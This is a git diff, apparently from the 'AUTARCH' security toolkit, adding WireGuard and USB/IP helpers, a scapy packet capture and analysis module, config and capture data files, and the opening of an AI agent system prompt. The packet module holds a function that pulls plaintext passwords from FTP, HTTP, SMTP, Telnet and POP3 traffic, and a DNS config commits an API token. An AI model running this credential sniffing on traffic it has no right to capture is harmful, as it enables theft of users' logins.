result, + }) + + return {'ok': True, 'results': results, 'attempted': len(results)} + + # ── Remote ADB — USB/IP ────────────────────────────────────────── + + def usbip_available(self): + """Check if usbip binary exists.""" + return self._usbip_bin is not None + + def check_usbip_modules(self): + """Check if vhci-hcd kernel module is loaded.""" + stdout, _, rc = self._run_cmd(['lsmod'], timeout=5) + return 'vhci_hcd' in stdout + + def load_usbip_modules(self): + """Load vhci-hcd kernel module.""" + stdout, stderr, rc = self._run_cmd( + ['sudo', 'modprobe', 'vhci-hcd'], timeout=10) + if rc == 0: + return {'ok': True, 'message': 'vhci-hcd module loaded'} + return {'ok': False, 'error': stderr.strip() or 'Failed to load module'} + + def usbip_list_remote(self, client_ip): + """List exportable USB devices on remote host.""" + if not self._usbip_bin: + return {'ok': False, 'error': 'usbip not found', 'devices': []} + stdout, stderr, rc = self._run_cmd( + ['sudo', self._usbip_bin, 'list', '-r', client_ip], timeout=15) + if rc != 0: + return {'ok': False, 'error': stderr.strip() or 'Failed to list', + 'devices': []} + + devices = [] + current = None + for line in stdout.split('\n'): + line = line.strip() + # Parse device lines like: "1-1: vendor:product ..." + m = re.match(r'(\d+-[\d.]+):\s*(.+)', line) + if m: + current = { + 'busid': m.group(1), + 'description': m.group(2).strip(), + } + devices.append(current) + elif current and ':' in line and not line.startswith('usbip'): + # Additional info lines + current['description'] += f' | {line}' + + return {'ok': True, 'devices': devices} + + def usbip_attach(self, client_ip, busid): + """Attach remote USB device via USB/IP.""" + if not self._usbip_bin: + return {'ok': False, 'error': 'usbip not found'} + stdout, stderr, rc = self._run_cmd( + ['sudo', self._usbip_bin, 'attach', '-r', client_ip, '-b', busid], + timeout=15) + if rc == 0: + return {'ok': True, 'message': f'Attached {busid} from {client_ip}'} + return {'ok': False, 'error': stderr.strip() or 'Failed to attach'} + + def usbip_detach(self, port): + """Detach USB/IP virtual device by port number.""" + if not self._usbip_bin: + return {'ok': False, 'error': 'usbip not found'} + stdout, stderr, rc = self._run_cmd( + ['sudo', self._usbip_bin, 'detach', '-p', str(port)], timeout=10) + if rc == 0: + return {'ok': True, 'message': f'Detached port {port}'} + return {'ok': False, 'error': stderr.strip() or 'Failed to detach'} + + def usbip_port_status(self): + """List imported virtual USB devices.""" + if not self._usbip_bin: + return {'ok': False, 'error': 'usbip not found', 'ports': []} + stdout, stderr, rc = self._run_cmd( + ['sudo', self._usbip_bin, 'port'], timeout=10) + if rc != 0: + return {'ok': False, 'error': stderr.strip(), 'ports': []} + + ports = [] + current = None + for line in stdout.split('\n'): + line = line.strip() + m = re.match(r'Port\s+(\d+):\s*(.+)', line) + if m: + current = { + 'port': m.group(1), + 'status': m.group(2).strip(), + } + ports.append(current) + elif current and line and not line.startswith('Port'): + current['detail'] = line + + return {'ok': True, 'ports': ports} + + def get_usbip_status(self): + """Combined USB/IP status.""" + available = self.usbip_available() + modules_loaded = self.check_usbip_modules() if available else False + ports = self.usbip_port_status() if available else {'ports': []} + return { + 'available': available, + 'modules_loaded': modules_loaded, + 'active_imports': len(ports.get('ports', [])), + 'ports': ports.get('ports', []), + } + + # ── UPnP Integration ───────────────────────────────────────────── + + def refresh_upnp_mapping(self): + """Ensure port 51820/UDP is UPnP-mapped.""" + try: + from core.upnp import get_upnp_manager + mgr = get_upnp_manager() + result = mgr.add_mapping( + int(self._listen_port), 'UDP', + f'WireGuard VPN (port {self._listen_port})') + return result + except Exception as e: + return {'ok': False, 'error': str(e)} + + +# ── Utility Functions ──────────────────────────────────────────────── + +def _parse_handshake(hs_str): + """Parse handshake time string into seconds ago, or None.""" + total_seconds = 0 + parts = hs_str.replace(' ago', '').split(',') + for part in parts: + part = part.strip() + match = re.match(r'(\d+)\s+(second|minute|hour|day)', part) + if match: + val = int(match.group(1)) + unit = match.group(2) + if unit == 'second': + total_seconds += val + elif unit == 'minute': + total_seconds += val * 60 + elif unit == 'hour': + total_seconds += val * 3600 + elif unit == 'day': + total_seconds += val * 86400 + return total_seconds if total_seconds > 0 else None + + +def _parse_transfer(s): + """Parse transfer string like '1.5 MiB' into bytes.""" + match = re.match(r'([\d.]+)\s*(\w+)', s) + if not match: + return 0 + val = float(match.group(1)) + unit = match.group(2) + multipliers = { + 'B': 1, 'KiB': 1024, 'MiB': 1024**2, + 'GiB': 1024**3, 'TiB': 1024**4 + } + return int(val * multipliers.get(unit, 1)) + + +# ── Singleton ──────────────────────────────────────────────────────── + +_manager = None + +def get_wireguard_manager(config=None): + global _manager + if _manager is None: + # Load config from autarch_settings.conf + if config is None: + try: + from core.config import get_config + cfg = get_config() + config = { + 'config_path': cfg.get('wireguard', 'config_path', + fallback='/etc/wireguard/wg0.conf'), + 'interface': cfg.get('wireguard', 'interface', fallback='wg0'), + 'subnet': cfg.get('wireguard', 'subnet', fallback='10.1.0.0/24'), + 'server_address': cfg.get('wireguard', 'server_address', + fallback='10.1.0.1'), + 'listen_port': cfg.get('wireguard', 'listen_port', fallback='51820'), + 'default_dns': cfg.get('wireguard', 'default_dns', + fallback='1.1.1.1, 8.8.8.8'), + 'default_allowed_ips': cfg.get('wireguard', 'default_allowed_ips', + fallback='0.0.0.0/0, ::/0'), + } + except Exception: + config = {} + _manager = WireGuardManager(config) + return _manager diff --git a/core/wireshark.py b/core/wireshark.py new file mode 100644 index 0000000..4fb08f5 --- /dev/null +++ b/core/wireshark.py @@ -0,0 +1,754 @@ +""" +AUTARCH Wireshark/Packet Analysis Engine +Scapy-based packet capture and analysis with optional tshark fallback. + +Primary engine: scapy (pure Python, needs libpcap for live capture) +Fallback: tshark CLI (if installed, for advanced protocol dissection) +""" + +import os +import re +import json +import time +import struct +import subprocess +import threading +from pathlib import Path +from datetime import datetime +from collections import Counter, defaultdict +from typing import Optional, List, Dict, Any, Callable + +from core.paths import find_tool, get_data_dir + +# Try importing scapy +SCAPY_AVAILABLE = False +try: + from scapy.all import ( + sniff, rdpcap, wrpcap, get_if_list, conf, + IP, IPv6, TCP, UDP, DNS, DNSQR, DNSRR, Raw, Ether, ARP, ICMP, + ) + SCAPY_AVAILABLE = True +except ImportError: + pass + +# Check for tshark +TSHARK_PATH = find_tool('tshark') + + +class WiresharkManager: + """Packet capture and analysis using scapy + optional tshark.""" + + def __init__(self): + self._capture_thread = None + self._capture_running = False + self._capture_packets = [] + self._capture_stats = {} + self._capture_callback = None + self._last_packets = None + self._capture_file = None + self._data_dir = get_data_dir() / 'captures' + self._data_dir.mkdir(parents=True, exist_ok=True) + + @property + def scapy_available(self): + return SCAPY_AVAILABLE + + @property + def tshark_available(self): + return TSHARK_PATH is not None + + @property + def can_capture(self): + """Check if live capture is possible (needs root + libpcap).""" + if not SCAPY_AVAILABLE: + return False + try: + return os.geteuid() == 0 + except AttributeError: + # Windows - check differently + return True + + def get_status(self) -> Dict[str, Any]: + """Get engine status.""" + return { + 'scapy': SCAPY_AVAILABLE, + 'tshark': self.tshark_available, + 'tshark_path': TSHARK_PATH or '', + 'can_capture': self.can_capture, + 'capturing': self._capture_running, + } + + # ==================== INTERFACES ==================== + + def list_interfaces(self) -> List[Dict[str, str]]: + """List available network interfaces.""" + interfaces = [] + + if SCAPY_AVAILABLE: + try: + for iface in get_if_list(): + interfaces.append({'name': iface, 'description': '', 'source': 'scapy'}) + except Exception: + pass + + # Fallback/supplement with tshark + if TSHARK_PATH and not interfaces: + try: + result = subprocess.run( + [TSHARK_PATH, '-D'], + capture_output=True, text=True, timeout=10 + ) + if result.returncode == 0: + for line in result.stdout.strip().split('\n'): + if line.strip(): + # Format: "1. eth0 (Description)" + match = re.match(r'\d+\.\s+(\S+)\s*(?:\((.+)\))?', line) + if match: + interfaces.append({ + 'name': match.group(1), + 'description': match.group(2) or '', + 'source': 'tshark', + }) + except Exception: + pass + + # Fallback to /sys/class/net + if not interfaces: + net_dir = Path('/sys/class/net') + if net_dir.exists(): + for d in sorted(net_dir.iterdir()): + interfaces.append({'name': d.name, 'description': '', 'source': 'sysfs'}) + + return interfaces + + # ==================== CAPTURE ==================== + + def start_capture(self, interface: str = None, bpf_filter: str = None, + duration: int = 30, output_file: str = None, + callback: Callable = None) -> Dict[str, Any]: + """Start packet capture in a background thread. + + Args: + interface: Network interface (None = default) + bpf_filter: BPF filter string (e.g., "tcp port 80") + duration: Capture duration in seconds (max 300) + output_file: Save to pcap file + callback: Called with each packet dict for live streaming + + Returns: + Status dict + """ + if not SCAPY_AVAILABLE: + return {'error': 'Scapy not available'} + if not self.can_capture: + return {'error': 'Root privileges required for live capture'} + if self._capture_running: + return {'error': 'Capture already running'} + + duration = max(5, min(300, duration)) + self._capture_packets = [] + self._capture_running = True + self._capture_callback = callback + self._capture_stats = { + 'interface': interface or 'default', + 'filter': bpf_filter or '', + 'start_time': datetime.now().isoformat(), + 'duration': duration, + 'packet_count': 0, + } + + if output_file: + self._capture_file = output_file + else: + ts = datetime.now().strftime('%Y%m%d_%H%M%S') + self._capture_file = str(self._data_dir / f'capture_{ts}.pcap') + + def _do_capture(): + try: + kwargs = { + 'timeout': duration, + 'prn': self._packet_handler, + 'store': True, + } + if interface: + kwargs['iface'] = interface + if bpf_filter: + kwargs['filter'] = bpf_filter + + packets = sniff(**kwargs) + self._last_packets = packets + + # Save to pcap + if self._capture_file and packets: + wrpcap(self._capture_file, packets) + self._capture_stats['output_file'] = self._capture_file + + except Exception as e: + self._capture_stats['error'] = str(e) + finally: + self._capture_running = False + self._capture_stats['end_time'] = datetime.now().isoformat() + self._capture_stats['packet_count'] = len(self._capture_packets) + + self._capture_thread = threading.Thread(target=_do_capture, daemon=True) + self._capture_thread.start() + + return {'status': 'started', 'file': self._capture_file} + + def _packet_handler(self, pkt): + """Process each captured packet.""" + summary = self._packet_to_dict(pkt) + self._capture_packets.append(summary) + self._capture_stats['packet_count'] = len(self._capture_packets) + + if self._capture_callback: + try: + self._capture_callback(summary) + except Exception: + pass + + def stop_capture(self) -> Dict[str, Any]: + """Stop running capture.""" + if not self._capture_running: + return {'status': 'not_running'} + + self._capture_running = False + # Signal scapy to stop - set a flag it checks + try: + conf.sniff_promisc = False # This won't stop it, but thread will timeout + except Exception: + pass + + return { + 'status': 'stopping', + 'packets': len(self._capture_packets), + 'file': self._capture_file, + } + + def get_capture_stats(self) -> Dict[str, Any]: + """Get current/last capture statistics.""" + stats = dict(self._capture_stats) + stats['running'] = self._capture_running + stats['packet_count'] = len(self._capture_packets) + return stats + + # ==================== PCAP READING ==================== + + def read_pcap(self, filepath: str, max_packets: int = 10000) -> Dict[str, Any]: + """Read and parse a PCAP file. + + Args: + filepath: Path to pcap file + max_packets: Maximum packets to load + + Returns: + Dict with packets list and metadata + """ + p = Path(filepath) + if not p.exists(): + return {'error': f'File not found: {filepath}'} + + if not SCAPY_AVAILABLE: + # Fallback to tshark + if TSHARK_PATH: + return self._read_pcap_tshark(filepath, max_packets) + return {'error': 'Neither scapy nor tshark available'} + + try: + packets = rdpcap(str(p), count=max_packets) + self._last_packets = packets + + packet_list = [] + for pkt in packets: + packet_list.append(self._packet_to_dict(pkt)) + + return { + 'file': str(p), + 'size': p.stat().st_size, + 'total_packets': len(packets), + 'packets': packet_list, + } + except Exception as e: + return {'error': f'Failed to read PCAP: {e}'} + + def _read_pcap_tshark(self, filepath: str, max_packets: int) -> Dict[str, Any]: + """Read PCAP using tshark fallback.""" + try: + result = subprocess.run( + [TSHARK_PATH, '-r', filepath, '-c', str(max_packets), + '-T', 'fields', + '-e', 'frame.number', '-e', 'frame.time_relative', + '-e', 'ip.src', '-e', 'ip.dst', + '-e', 'frame.protocols', '-e', 'frame.len', + '-e', '_ws.col.Info', + '-E', 'separator=|'], + capture_output=True, text=True, timeout=30 + ) + packets = [] + for line in result.stdout.strip().split('\n'): + if not line.strip(): + continue + parts = line.split('|') + if len(parts) >= 6: + packets.append({ + 'number': int(parts[0]) if parts[0] else 0, + 'time': parts[1], + 'src': parts[2], + 'dst': parts[3], + 'protocol': parts[4].split(':')[-1] if parts[4] else '', + 'length': int(parts[5]) if parts[5] else 0, + 'info': parts[6] if len(parts) > 6 else '', + }) + return { + 'file': filepath, + 'total_packets': len(packets), + 'packets': packets, + 'source': 'tshark', + } + except Exception as e: + return {'error': f'tshark failed: {e}'} + + def _packet_to_dict(self, pkt) -> Dict[str, Any]: + """Convert a scapy packet to a serializable dict.""" + d = { + 'length': len(pkt), + 'protocol': '', + 'src': '', + 'dst': '', + 'sport': None, + 'dport': None, + 'info': '', + 'time': float(pkt.time) if hasattr(pkt, 'time') else 0, + } + + if pkt.haslayer(IP): + d['src'] = pkt[IP].src + d['dst'] = pkt[IP].dst + d['protocol'] = 'IP' + elif pkt.haslayer(IPv6): + d['src'] = pkt[IPv6].src + d['dst'] = pkt[IPv6].dst + d['protocol'] = 'IPv6' + elif pkt.haslayer(ARP): + d['protocol'] = 'ARP' + d['src'] = pkt[ARP].psrc + d['dst'] = pkt[ARP].pdst + d['info'] = f'ARP {pkt[ARP].op}' + + if pkt.haslayer(TCP): + d['sport'] = pkt[TCP].sport + d['dport'] = pkt[TCP].dport + d['protocol'] = 'TCP' + flags = pkt[TCP].flags + d['info'] = f'{pkt[TCP].sport} -> {pkt[TCP].dport} [{flags}]' + elif pkt.haslayer(UDP): + d['sport'] = pkt[UDP].sport + d['dport'] = pkt[UDP].dport + d['protocol'] = 'UDP' + d['info'] = f'{pkt[UDP].sport} -> {pkt[UDP].dport}' + elif pkt.haslayer(ICMP): + d['protocol'] = 'ICMP' + d['info'] = f'Type {pkt[ICMP].type} Code {pkt[ICMP].code}' + + if pkt.haslayer(DNS): + d['protocol'] = 'DNS' + if pkt.haslayer(DNSQR): + qname = pkt[DNSQR].qname + if isinstance(qname, bytes): + qname = qname.decode(errors='ignore').rstrip('.') + d['info'] = f'Query: {qname}' + + # Detect common application protocols by port + if d['protocol'] in ('TCP', 'UDP'): + ports = (d.get('sport'), d.get('dport')) + if 80 in ports or 8080 in ports: + d['protocol'] = 'HTTP' + elif 443 in ports or 8443 in ports: + d['protocol'] = 'TLS' + elif 53 in ports: + d['protocol'] = 'DNS' + elif 22 in ports: + d['protocol'] = 'SSH' + elif 21 in ports: + d['protocol'] = 'FTP' + elif 25 in ports or 587 in ports: + d['protocol'] = 'SMTP' + elif 23 in ports: + d['protocol'] = 'Telnet' + + return d + + # ==================== ANALYSIS ==================== + + def _get_packets(self, packets=None): + """Get packets from argument or last loaded.""" + if packets is not None: + return packets + if self._last_packets is not None: + return self._last_packets + if self._capture_packets: + return self._capture_packets + return [] + + def get_protocol_hierarchy(self, packets=None) -> Dict[str, Any]: + """Get protocol distribution from packets. + + Returns dict with protocol counts and percentages. + """ + pkts = self._get_packets(packets) + if not pkts: + return {'protocols': {}, 'total': 0} + + counts = Counter() + total = len(pkts) + + for pkt in pkts: + if isinstance(pkt, dict): + proto = pkt.get('protocol', 'Unknown') + else: + proto = self._packet_to_dict(pkt).get('protocol', 'Unknown') + counts[proto] += 1 + + protocols = {} + for proto, count in counts.most_common(): + protocols[proto] = { + 'count': count, + 'percent': round(count * 100 / total, 1) if total else 0, + } + + return {'protocols': protocols, 'total': total} + + def extract_conversations(self, packets=None) -> List[Dict[str, Any]]: + """Extract IP conversations (src-dst pairs with stats).""" + pkts = self._get_packets(packets) + if not pkts: + return [] + + convos = defaultdict(lambda: {'packets': 0, 'bytes': 0, 'protocols': set()}) + + for pkt in pkts: + if isinstance(pkt, dict): + src = pkt.get('src', '') + dst = pkt.get('dst', '') + proto = pkt.get('protocol', '') + length = pkt.get('length', 0) + else: + d = self._packet_to_dict(pkt) + src, dst, proto, length = d['src'], d['dst'], d['protocol'], d['length'] + + if not src or not dst: + continue + + # Normalize key (sorted so A->B and B->A are same conversation) + key = tuple(sorted([src, dst])) + convos[key]['packets'] += 1 + convos[key]['bytes'] += length + convos[key]['protocols'].add(proto) + convos[key]['src'] = key[0] + convos[key]['dst'] = key[1] + + result = [] + for key, data in sorted(convos.items(), key=lambda x: x[1]['packets'], reverse=True): + result.append({ + 'src': data['src'], + 'dst': data['dst'], + 'packets': data['packets'], + 'bytes': data['bytes'], + 'protocols': list(data['protocols']), + }) + + return result[:100] # Top 100 + + def extract_dns_queries(self, packets=None) -> List[Dict[str, Any]]: + """Extract DNS queries and responses.""" + pkts = self._get_packets(packets) + if not pkts: + return [] + + queries = [] + + for pkt in pkts: + if isinstance(pkt, dict): + # From captured packet summaries - limited info + if pkt.get('protocol') == 'DNS' and 'Query:' in pkt.get('info', ''): + queries.append({ + 'query': pkt['info'].replace('Query: ', ''), + 'type': 'A', + 'src': pkt.get('src', ''), + 'response': '', + }) + else: + # Full scapy packet + if pkt.haslayer(DNS): + if pkt.haslayer(DNSQR): + qname = pkt[DNSQR].qname + if isinstance(qname, bytes): + qname = qname.decode(errors='ignore').rstrip('.') + qtype_num = pkt[DNSQR].qtype + qtype_map = {1: 'A', 2: 'NS', 5: 'CNAME', 6: 'SOA', + 15: 'MX', 16: 'TXT', 28: 'AAAA', 33: 'SRV'} + qtype = qtype_map.get(qtype_num, str(qtype_num)) + + response = '' + if pkt.haslayer(DNSRR) and pkt[DNS].ancount > 0: + try: + rdata = pkt[DNSRR].rdata + if isinstance(rdata, bytes): + rdata = rdata.decode(errors='ignore') + response = str(rdata) + except Exception: + pass + + src = pkt[IP].src if pkt.haslayer(IP) else '' + queries.append({ + 'query': qname, + 'type': qtype, + 'src': src, + 'response': response, + }) + + # Deduplicate and count + seen = {} + for q in queries: + key = q['query'] + if key in seen: + seen[key]['count'] += 1 + if q['response'] and not seen[key]['response']: + seen[key]['response'] = q['response'] + else: + seen[key] = {**q, 'count': 1} + + return sorted(seen.values(), key=lambda x: x['count'], reverse=True)[:200] + + def extract_http_requests(self, packets=None) -> List[Dict[str, Any]]: + """Extract HTTP requests from packets.""" + pkts = self._get_packets(packets) + if not pkts: + return [] + + requests = [] + http_methods = [b'GET', b'POST', b'PUT', b'DELETE', b'HEAD', b'OPTIONS', b'PATCH'] + + for pkt in pkts: + if isinstance(pkt, dict): + continue # Can't extract HTTP from summaries + + if not pkt.haslayer(Raw): + continue + if not pkt.haslayer(TCP): + continue + + try: + payload = bytes(pkt[Raw].load) + # Check if it starts with an HTTP method + is_http = any(payload.startswith(m + b' ') for m in http_methods) + if not is_http: + continue + + lines = payload.split(b'\r\n') + request_line = lines[0].decode(errors='ignore') + parts = request_line.split(' ') + if len(parts) < 2: + continue + + method = parts[0] + path = parts[1] + host = '' + user_agent = '' + content_type = '' + + for line in lines[1:]: + line_str = line.decode(errors='ignore') + lower = line_str.lower() + if lower.startswith('host:'): + host = line_str.split(':', 1)[1].strip() + elif lower.startswith('user-agent:'): + user_agent = line_str.split(':', 1)[1].strip() + elif lower.startswith('content-type:'): + content_type = line_str.split(':', 1)[1].strip() + + src = pkt[IP].src if pkt.haslayer(IP) else '' + dst = pkt[IP].dst if pkt.haslayer(IP) else '' + + requests.append({ + 'method': method, + 'host': host, + 'path': path, + 'src': src, + 'dst': dst, + 'user_agent': user_agent[:100], + 'content_type': content_type, + }) + except Exception: + continue + + return requests[:500] + + def extract_credentials(self, packets=None) -> List[Dict[str, Any]]: + """Detect plaintext credentials in packets. + + Checks FTP, HTTP Basic Auth, Telnet, SMTP, POP3, IMAP. + """ + pkts = self._get_packets(packets) + if not pkts: + return [] + + creds = [] + + for pkt in pkts: + if isinstance(pkt, dict): + continue + + if not pkt.haslayer(Raw) or not pkt.haslayer(TCP): + continue + + try: + payload = bytes(pkt[Raw].load) + payload_str = payload.decode(errors='ignore') + payload_lower = payload_str.lower() + src = pkt[IP].src if pkt.haslayer(IP) else '' + dst = pkt[IP].dst if pkt.haslayer(IP) else '' + dport = pkt[TCP].dport + + # FTP credentials + if dport == 21: + if payload_str.startswith('USER '): + creds.append({ + 'protocol': 'FTP', + 'type': 'username', + 'value': payload_str.split(' ', 1)[1].strip(), + 'src': src, 'dst': dst, + }) + elif payload_str.startswith('PASS '): + creds.append({ + 'protocol': 'FTP', + 'type': 'password', + 'value': payload_str.split(' ', 1)[1].strip(), + 'src': src, 'dst': dst, + }) + + # HTTP Basic Auth + if dport in (80, 8080, 8443): + auth_match = re.search(r'Authorization:\s*Basic\s+(\S+)', payload_str, re.IGNORECASE) + if auth_match: + import base64 + try: + decoded = base64.b64decode(auth_match.group(1)).decode(errors='ignore') + creds.append({ + 'protocol': 'HTTP', + 'type': 'basic_auth', + 'value': decoded, + 'src': src, 'dst': dst, + }) + except Exception: + pass + + # HTTP form data (POST with password fields) + if dport in (80, 8080) and b'POST' in payload[:10]: + for pattern in [r'password=([^&\s]+)', r'passwd=([^&\s]+)', r'pass=([^&\s]+)']: + match = re.search(pattern, payload_str, re.IGNORECASE) + if match: + creds.append({ + 'protocol': 'HTTP', + 'type': 'form_password', + 'value': match.group(1), + 'src': src, 'dst': dst, + }) + break + + # SMTP AUTH + if dport in (25, 587): + if payload_str.startswith('AUTH LOGIN') or payload_str.startswith('AUTH PLAIN'): + creds.append({ + 'protocol': 'SMTP', + 'type': 'auth', + 'value': payload_str.strip(), + 'src': src, 'dst': dst, + }) + + # Telnet (look for login/password prompts followed by data) + if dport == 23: + if any(k in payload_lower for k in ['login:', 'username:', 'password:']): + creds.append({ + 'protocol': 'Telnet', + 'type': 'prompt', + 'value': payload_str.strip()[:100], + 'src': src, 'dst': dst, + }) + + # POP3 + if dport == 110: + if payload_str.startswith('USER ') or payload_str.startswith('PASS '): + creds.append({ + 'protocol': 'POP3', + 'type': 'auth', + 'value': payload_str.strip(), + 'src': src, 'dst': dst, + }) + + except Exception: + continue + + return creds[:100] + + # ==================== EXPORT ==================== + + def export_packets(self, packets=None, fmt: str = 'json', + filepath: str = None) -> Dict[str, Any]: + """Export packets to JSON or CSV. + + Args: + packets: Packet list (uses last loaded if None) + fmt: 'json' or 'csv' + filepath: Output path (auto-generated if None) + + Returns: + Dict with success status and filepath + """ + pkts = self._get_packets(packets) + if not pkts: + return {'error': 'No packets to export'} + + # Convert to dicts if needed + packet_dicts = [] + for pkt in pkts: + if isinstance(pkt, dict): + packet_dicts.append(pkt) + else: + packet_dicts.append(self._packet_to_dict(pkt)) + + ts = datetime.now().strftime('%Y%m%d_%H%M%S') + from core.paths import get_data_dir + export_dir = get_data_dir() / 'exports' + export_dir.mkdir(parents=True, exist_ok=True) + + if fmt == 'csv': + if not filepath: + filepath = str(export_dir / f'packets_{ts}.csv') + lines = ['Time,Source,Destination,Protocol,Length,Info'] + for p in packet_dicts: + lines.append(f'{p.get("time","")},{p.get("src","")},{p.get("dst","")},{p.get("protocol","")},{p.get("length",0)},{p.get("info","")}') + Path(filepath).write_text('\n'.join(lines)) + else: + if not filepath: + filepath = str(export_dir / f'packets_{ts}.json') + export_data = { + 'exported': datetime.now().isoformat(), + 'total_packets': len(packet_dicts), + 'packets': packet_dicts, + } + Path(filepath).write_text(json.dumps(export_data, indent=2)) + + return {'success': True, 'filepath': filepath, 'count': len(packet_dicts)} + + +# Global instance +_manager: Optional[WiresharkManager] = None + + +def get_wireshark_manager() -> WiresharkManager: + """Get the global WiresharkManager instance.""" + global _manager + if _manager is None: + _manager = WiresharkManager() + return _manager diff --git a/custom_sites.inf b/custom_sites.inf new file mode 100644 index 0000000..38f3bf8 --- /dev/null +++ b/custom_sites.inf @@ -0,0 +1,12 @@ +# AUTARCH Adult Site Scanner - Bulk Import File +# Add one domain per line (without http:// or https://) +# Lines starting with # are comments +# +# Example: +# example.com +# another-site.net +# subdomain.site.org +# +# After adding domains, run Bulk Import [B] again +# and provide a test username that exists on these sites. + diff --git a/data/android_protect/58051FDCG004EJ/honeypot_config.json b/data/android_protect/58051FDCG004EJ/honeypot_config.json new file mode 100644 index 0000000..668de89 --- /dev/null +++ b/data/android_protect/58051FDCG004EJ/honeypot_config.json @@ -0,0 +1,11 @@ +{ + "active": true, + "tier": 2, + "protections": { + "private_dns": "adguard", + "ad_opt_out": true, + "location_accuracy": true, + "diagnostics": true + }, + "activated_at": "2026-02-21T02:55:28.439016" +} \ No newline at end of file diff --git a/data/captures/capture_20260217_145129.pcap b/data/captures/capture_20260217_145129.pcap new file mode 100644 index 0000000..1a14bc1 Binary files /dev/null and b/data/captures/capture_20260217_145129.pcap differ diff --git a/data/captures/capture_20260217_145237.pcap b/data/captures/capture_20260217_145237.pcap new file mode 100644 index 0000000..3ded03a Binary files /dev/null and b/data/captures/capture_20260217_145237.pcap differ diff --git a/data/captures/capture_20260220_045252.pcap b/data/captures/capture_20260220_045252.pcap new file mode 100644 index 0000000..c1b1a14 Binary files /dev/null and b/data/captures/capture_20260220_045252.pcap differ diff --git a/data/certs/autarch.crt b/data/certs/autarch.crt new file mode 100644 index 0000000..70368e7 --- /dev/null +++ b/data/certs/autarch.crt @@ -0,0 +1,19 @@ +-----BEGIN CERTIFICATE----- +MIIDKTCCAhGgAwIBAgIUbGMoP7LStEFVzg80J384NiSLbCIwDQYJKoZIhvcNAQEL +BQAwJDEQMA4GA1UEAwwHQVVUQVJDSDEQMA4GA1UECgwHZGFya0hhbDAeFw0yNjAz +MTMyMjA4MjhaFw0zNjAzMTAyMjA4MjhaMCQxEDAOBgNVBAMMB0FVVEFSQ0gxEDAO +BgNVBAoMB2RhcmtIYWwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCQ +yifoISVxZyRV8V1jzcqSJmRPilI4X0xnPuelpnmA6teNZNF+By4vmsYrPFDkvBia +II79hREgG/1Qd6IbZpT21ZrgqVtjWAr/ndcDryqB1QGACcx9PuiLRlsvh+kzDbyq +qD6B1EdFj9qdw7S1EEg6jo1SbJ/7MKHsS5qBnCfpIucWBOls5ZFbGbClv61LiVIz +fBROaAbkaw8ZpPBXz3JITtQrXO9VvMQ/dha8znc2o3+LYBJmnH1dScdIam2ufssL +qqG86Yi31arQYFBz+0/Th/Z4qu94e+UxWUH8CXDhoQxva0R+3N0YlA6gIE4KR440 +cjnhg6mR4JQFOi4BcdOdAgMBAAGjUzBRMB0GA1UdDgQWBBRVFEDgXaFm4zqu/B17 +CjJb2Yqg6DAfBgNVHSMEGDAWgBRVFEDgXaFm4zqu/B17CjJb2Yqg6DAPBgNVHRMB +Af8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBLdctAfdWz+gb+XhUw5fgxYDSm +fMMwOA7H8lKg9youCSLbj49q7kxuQYHE3i8xRdTsNOzvms/SwOnYsnAiNP/Kpp+V +nQYFuq6i9Gx1uDrnRorXofZPyxoxYmE9Hzgf4ptQzyF8JN3CLe8LViq41bGJl/f9 +0S4fNKPi23R72cX8EmWpPjeMaswaaBAUa9V/nbCl/9+RMD45QV3ozNhMaJzJreLQ +cKSkMIqx25RbWWNZFb+jtm/tlDKs4uINoCWDgCk2hJl3LU/dKsRPytrKBWkag1qD ++UcXn8o9yEtBfWDaisXX3UATyOq/vxWnrXOrFu/70KfmgtWGrY8iMHECvYeT +-----END CERTIFICATE----- diff --git a/data/dns/config.json b/data/dns/config.json new file mode 100644 index 0000000..8890b1a --- /dev/null +++ b/data/dns/config.json @@ -0,0 +1,10 @@ +{ + "listen_dns": "10.0.0.56:53", + "listen_api": "127.0.0.1:5380", + "api_token": "5ed79350fed2490d2aca6f3b29776365", + "upstream": [], + "cache_ttl": 300, + "zones_dir": "C:\\she\\autarch\\data\\dns\\zones", + "dnssec_keys_dir": "C:\\she\\autarch\\data\\dns\\keys", + "log_queries": true +} \ No newline at end of file diff --git a/data/dns/zones/autarch.local.json b/data/dns/zones/autarch.local.json new file mode 100644 index 0000000..75043cb --- /dev/null +++ b/data/dns/zones/autarch.local.json @@ -0,0 +1,53 @@ +{ + "domain": "autarch.local", + "soa": { + "primary_ns": "ns1.autarch.local", + "admin_email": "admin.autarch.local", + "serial": 1772537115, + "refresh": 3600, + "retry": 600, + "expire": 86400, + "min_ttl": 300 + }, + "records": [ + { + "id": "ns1", + "type": "NS", + "name": "autarch.local.", + "value": "ns1.autarch.local.", + "ttl": 3600 + }, + { + "id": "mx1", + "type": "MX", + "name": "autarch.local.", + "value": "mx.autarch.local.", + "ttl": 3600, + "priority": 10 + }, + { + "id": "spf1", + "type": "TXT", + "name": "autarch.local.", + "value": "v=spf1 ip4:127.0.0.1 -all", + "ttl": 3600 + }, + { + "id": "dmarc1", + "type": "TXT", + "name": "_dmarc.autarch.local.", + "value": "v=DMARC1; p=none; rua=mailto:dmarc@autarch.local", + "ttl": 3600 + }, + { + "id": "r1772537722879235900", + "type": "A", + "name": "https://autarch.local", + "value": "10.0.0.56:8181", + "ttl": 300 + } + ], + "dnssec": true, + "created_at": "2026-03-03T11:25:07Z", + "updated_at": "2026-03-03T12:24:00Z" +} \ No newline at end of file diff --git a/data/exports/osint_testuser_20260214_041834.csv b/data/exports/osint_testuser_20260214_041834.csv new file mode 100644 index 0000000..893f705 --- /dev/null +++ b/data/exports/osint_testuser_20260214_041834.csv @@ -0,0 +1,2 @@ +Site,URL,Category,Status,Confidence +GitHub,https://github.com/test,,good,85 \ No newline at end of file diff --git a/data/exports/osint_testuser_20260214_041834.json b/data/exports/osint_testuser_20260214_041834.json new file mode 100644 index 0000000..00db19a --- /dev/null +++ b/data/exports/osint_testuser_20260214_041834.json @@ -0,0 +1,13 @@ +{ + "query": "testuser", + "exported": "2026-02-14T04:18:34.669640", + "total_results": 1, + "results": [ + { + "name": "GitHub", + "url": "https://github.com/test", + "status": "good", + "rate": 85 + } + ] +} \ No newline at end of file diff --git a/data/hal_system_prompt.txt b/data/hal_system_prompt.txt new file mode 100644 index 0000000..afd7cbb --- /dev/null +++ b/data/hal_system_prompt.txt @@ -0,0 +1,98 @@ +You are Hal, the AI agent powering Project AUTARCH — an autonomous security platform built by darkHal Security Group. + +## Your Capabilities +You can read files, write files, execute shell commands, search the codebase, and create new AUTARCH modules on demand. When a user 